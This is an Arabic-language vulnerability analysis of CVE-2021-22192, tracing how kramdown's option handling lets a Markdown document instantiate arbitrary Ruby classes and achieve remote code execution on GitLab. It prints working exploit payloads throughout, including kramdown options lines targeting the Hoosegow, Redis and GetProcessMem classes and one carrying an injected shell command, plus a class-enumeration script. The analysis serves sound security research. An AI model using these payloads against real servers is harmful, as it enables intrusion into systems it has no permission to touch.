
CVE-2021-22192
عندما بدأت في تحليل هذه الثغرة، لم يكن لدي سوى بعض المعلومات القيمة من lyy289065406 التي ساعدتني في فهم المشكلة الجوهرية في هذا الخلل. نلاحظ أن المشكلة تبدو في الجيم kramdown (<= 2.3.0)، لذا بدأت بالبحث في kramdown أولاً.
يمكننا فحص التصحيح الخاص بـ kramdown، ونلاحظ الفرق في الدالة formatter_class في الوحدة Kramdown::Converter::SyntaxHighlighter::Rouge
::Rouge::Formatters.const_get(formatter) تحولت إلى ::Rouge::Formatters.const_get(formatter, false)
الدالة const_get موروثة من صنف Object، ويمكنها الحصول على الثوابت. بل ويمكنها حتى إرجاع الأصناف المُعلنة مسبقًا التي يمكنها العثور عليها. الفرق هنا هو إضافة معامل false. إضافة المعامل false تجعل const_get لا تستطيع الحصول على الثوابت من الصنف الأب أو الوحدات.
الأمر الأكثر خصوصية: في الدالة self.call يتم استدعاء الدالة formatter_class ثم يتم استدعاء new(opts). هذا يعني أن الميثود التي تم الحصول عليها عبر const_get سيتم استدعاء Constructor الخاص بها لتهيئتها.
def self.call(converter, text, lang, type, call_opts)
opts = options(converter, type)
call_opts[:default_lang] = opts[:default_lang]
return nil unless lang || opts[:default_lang] || opts[:guess_lang]
lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])
opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
formatter = formatter_class(opts).new(opts)
formatter.format(lexer.lex(text))
end
بناءً على Kramdown:Options يمكننا استدعاء الدالة Kramdown::Converter::SyntaxHighlighter::Rouge.call
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
بالإضافة إلى ذلك، نلاحظ في الوحدة Kramdown:Options أن الدالة simple_hash_validator استدعت YAML.safe_load(val). إذن يمكننا أيضًا تكوين ملف YML لإيصال الحمولة المطلوبة إلى Kramdown::Converter::SyntaxHighlighter::Rouge
def self.simple_hash_validator(val, name)
if String === val
begin
val = YAML.safe_load(val)
rescue RuntimeError, ArgumentError, SyntaxError
raise Kramdown::Error, "Invalid YAML value for option #{name}"
end
end
raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
val
end
أولاً، أحتاج إلى بناء Jekyll:
gem install jekyll
jekyll new jekyllTest
Gemfile.lock لجعل إصدار kramdown <= 2.3.0cd jekyllTest
ملف Gemfile.lock
...
kramdown (2.3.0)
...
bundle install
بهذا نكون قد أكملنا إنشاء صفحة Jekyll. الآن يمكننا إدخال الحمولة لنرى ما إذا كانت Kramdown::Converter::SyntaxHighlighter::Rouge.call ستستدعي بالفعل ميثود ما أم لا.
يمكننا الإضافة إلى ملف ./_config.yml
kramdown:
syntax_highlighter: rouge
syntax_highlighter_opts:
formatter: CSV
أو استخدام مستند kramdown بإضافة الحمولة إلى ./_posts/*.markdown
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
~~~ ruby
def what?
42
end
~~~
هنا أستخدم الطريقة الثانية =)))))
bundle exec jekyll serve
قد تواجه خطأ "require': cannot load such file -- webrick (LoadError)" تحتاج لإضافة gem "webrick" إلى Gemfile
private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep: مما يثبت أن صنف CSV قد تم استدعاؤه.وفقًا لمقالة تحليل CVE-2020-10518 التي تستخدم خللًا في kramdown لإحداث RCE على Github. أستهدف صنف Hoosegow:
initialize لـ Hoosegow أنها تستدعي load_inmate_methodsdef initialize(options = {})
options = options.dup
@no_proxy = options.delete(:no_proxy)
@inmate_dir = options.delete(:inmate_dir) || '/hoosegow/inmate'
@image_name = options.delete(:image_name)
@ruby_version = options.delete(:ruby_version) || RUBY_VERSION
@docker_options = options
load_inmate_methods
load_inmate_methods نرى أنها تستدعي require inmate_file def load_inmate_methods
inmate_file = File.join @inmate_dir, 'inmate.rb'
unless File.exist?(inmate_file)
raise Hoosegow::InmateImportError, "inmate file doesn't exist"
end
require inmate_file
unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
raise Hoosegow::InmateImportError,
"inmate file doesn't define Hoosegow::Inmate"
end
if no_proxy?
self.extend Hoosegow::Inmate
else
inmate_methods = Hoosegow::Inmate.instance_methods
inmate_methods.each do |name|
define_singleton_method name do |*args, &block|
proxy_send name, args, &block
end
end
end
end
و inmate_file يتم إنشاؤه بجمع السلسلة @inmate_dir مع 'inmate.rb'. إذا استطعنا استدعاء هذا الصنف وتعديل المعامل inmate_dir ليصبح مسارًا لملف الحمولة الخاص بنا، ألن يحدث RCE هنا؟
أقوم بتشغيل سكريبت في مسار صفحة Jekyll لفحص الميثودات المعرفة:
require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
methods.each do |m|
begin
puts "trying #{m[:ob]}"
m[:ob].new({a:1, b:2})
puts "worked\n\n"
rescue ArgumentError
puts "nope\n\n"
rescue NoMethodError
puts "nope\n\n"
rescue => e
p e
puts "maybe\n\n"
end
ob.name == "Hoosegow"require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow" }
...
gem "hoosegow" إلى Gemfile ووجد السكريبت هذا الصنف. [هه هه هه]Hoosegow بواسطة kramdown{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, line_numbers: true\}" /}
~~~ ruby
def what?
42
end
~~~
علقت هنا.. أسبوع. نعم، ضاع أسبوع بسببه. كنت أدور في حلقة مع السؤال: "لماذا يوجد صنف Hoosegow في bundler، لكن عند استدعائه من تحت Kramdown لا يعمل؟ كان يجب أن يعمل، أليس كذلك؟"
فكرت: "إذا كان قد تم التصريح عنه في Gemfile، فهذا يعني أنه موجود في مسار الأصناف. إذا كان البرنامج لا يزال لا يجد 'Hoosegow'، فبالتأكيد لم يتم تحميله بعد... إذاً هل هناك طريقة للتصريح عن الجيم بحيث يتم تحميله عند تشغيل Jekyll قبل معالجة الأجزاء الأخرى في دليل المصدر؟"
قرأت وثائق Jekyll ووجدت jekyll_plugins. التصريح في Gemfile بهذه الطريقة غير كافٍ، بل يجب التصريح عن الجيم في group jekyll_plugins ليعمل :( لأنه عند التصريح بجيم داخل jekyll_plugins، يتم تحميله بغض النظر عن أي شيء قبل أن يعالج Jekyll المصادر الأخرى. حتى عند تشغيل Jekyll في الوضع الآمن.
group :jekyll_plugins do
gem "jekyll-feed", "~> 0.12"
gem "hoosegow"
end
inmate.rb في C:/ ثم شغلت الحمولة:{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, inmate_dir: C:/\}" /}
~~~ ruby
def what?
42
end
~~~
inmate.rb. وهكذا يبدو أننا اقتربنا من نجاح PoC مرة أخرى، أليس كذلك؟
inmate.rb إلى خادم GitLab ونعرف مكان ملف inmate.rb الذي رفعناه؟؟before_script:
- pwd
- gem install bundler
- bundle install
.gitlab-ci.yml. حاولت تفسير ذلك بطرق مختلفة: "ربما هناك آلية لفحص ملفات .yml قبل تحميلها؟"،... لكن ذلك لم يُرضني.
بحثت عن مسار إدخال آخر وهو صفحة الويكي. تسمح صفحة الويكي باستخدام تنسيق kramdown، لذا شككت وجربته هنا، لكن دون نتيجة لأنني وضعت الحمولة فقط في الملف الافتراضي '*.md'، بينما الملف '*.md' محدود في الوظائف الضرورية، لذا تخلّيت عن هذا المسار :(
عند هذه النقطة، اضطررت للتوقف والانتظار حتى يُنشر PoC لأتمكن من تخصيص الوقت لأبحاث أخرى.
في يوم جميل، تم نشر PoC. بعد قراءته، شعرت بإحساس قوي بالدجاجة بداخلي ولا كلام.
المشكلة الجوهرية في kramdown كنا قد أصبنا فيها، لكن الطريق إليها في GitLab كان ضعيفًا نوعًا ما =)
اكتشف المؤلف أنه عند رفع صفحة ويكي بملف '*.rmd'، يستدعي البرنامج render_wiki_content -> other_markup_unsafe -> GitHub::Markup.render. وبالتالي، سيتم تقديم الملف '*.rmd' باستخدام kramdown.
رفع المؤلف ملفه '.rmd' عن طريق استنساخ صفحة الويكي محليًا، ثم استخدام git لدفع صفحة الويكي (مع ملف '.rmd') إلى GitLab.
استخدم المؤلف صنف Redis (الموجود مسبقًا في مشروع GitLab، لذا يمكننا استدعاؤه واستخدامه) لتشغيل حمولته.
عند تهيئة صنف Redis، إذا كان هناك خيار driver موجود، فسيستدعي البرنامج الدالة _parse_driver. هناك، يقوم البرنامج بـ require "connection/#{driver}" ويمكننا التأثير على المتغير driver لجعل البرنامج يستدعي ملف الحمولة الذي رفعناه على الخادم.
def _parse_driver(driver)
driver = driver.to_s if driver.is_a?(Symbol)
if driver.kind_of?(String)
begin
require_relative "connection/#{driver}"
rescue LoadError, NameError => e
begin
require "connection/#{driver}"
rescue LoadError, NameError => e
raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}"
end
end
driver = Connection.const_get(driver.capitalize)
end
driver
end
snippet جديدة، يمكن للمهاجم رفع حمولة Ruby باستخدام Attach a file.استخدام الاتجاه من Kramdown لاستدعاء صنف Redis، أولاً استورد المؤلف جيم get_process_mem مع الحمولة
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../get_process_mem\}" /}
~~~ruby
def what?
42
end
~~~
ثم استخدم جيم get_process_mem الذي تم استيراده مسبقًا لتنفيذ RCE
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{a: '`echo inject > /tmp/inject`', formatter: GetProcessMem\}" /}
~~ ruby
def what?
42
end
~~
وبالتالي، دون الحاجة للعثور على عنوان ملف الحمولة، لا يزال بإمكان المهاجم تنفيذ RCE على خادم GitLab.
Ref: